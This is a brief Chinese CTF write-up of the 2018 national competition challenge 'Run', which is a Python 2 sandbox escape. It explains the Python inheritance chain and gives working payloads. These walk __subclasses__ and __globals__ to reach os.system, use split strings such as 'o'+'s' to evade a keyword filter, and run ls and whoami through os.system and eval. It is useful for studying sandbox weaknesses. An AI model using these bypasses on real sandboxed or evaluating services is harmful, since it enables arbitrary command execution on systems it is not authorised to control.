国赛2018_Run_python继承链bypass

python继承链基础

• __class__ 返回一个实例所属的类
• __base__、__bases__ 返回一个类所直接继承的类
• __subclasses__() 获取一个类的子类list
• __builtins__ 内置模块，包含了list、print等函数
• __getattribute__() 通过传入字符串来进行方法的调用
• __globals__ 返回一个当前空间下能使用的模块，方法和变量的字典。

class test:
    def f():
        pass
print test.f    # <unbound method test.f>

# while in python3 will print...
# <function test.f at 0x000001DB75310048>

print test.f.__globals__

# {'__builtins__': <module '__builtin__' (built-in)>, '__name__': '__main__', 'test': <class __main__.test at 0xb72544ac>, '__doc__': None, '__package__': None}

Run

一道python2环境的沙箱逃逸。过滤了好多东西，os、ls、system等。。
我们可通过python的继承，来找到可用的os模块

# _*_ coding: utf-8 _*_
search = 'os'
num = -1
for i in ().__class__.__base__.__subclasses__():
    num += 1
    try:
        if search in i.__init__.__globals__.keys():
            print(i, num)
    except:
        pass 

# (<class 'site._Printer'>, 71)
# (<class 'site.Quitter'>, 76)

# payload
s = ().__class__.__base__.__subclasses__()[71].__init__.__getattribute__('__global'+'s__')['o'+'s'].__getattribute__('s'+'ystem')
# 拿到了os.system函数，可执行任意命令
s('l'+'s /home/ctf')

py2和py3利用__builtins__

__builtins__.__getattribute__('ev'+'al')('__import__("os").system("whoami")')

参考链接

他已经讲得很清楚了->用python继承链搞事情

BTW：这次国赛的Web题。。一道空值，一道结合pwn难爆，一道直接难爆= =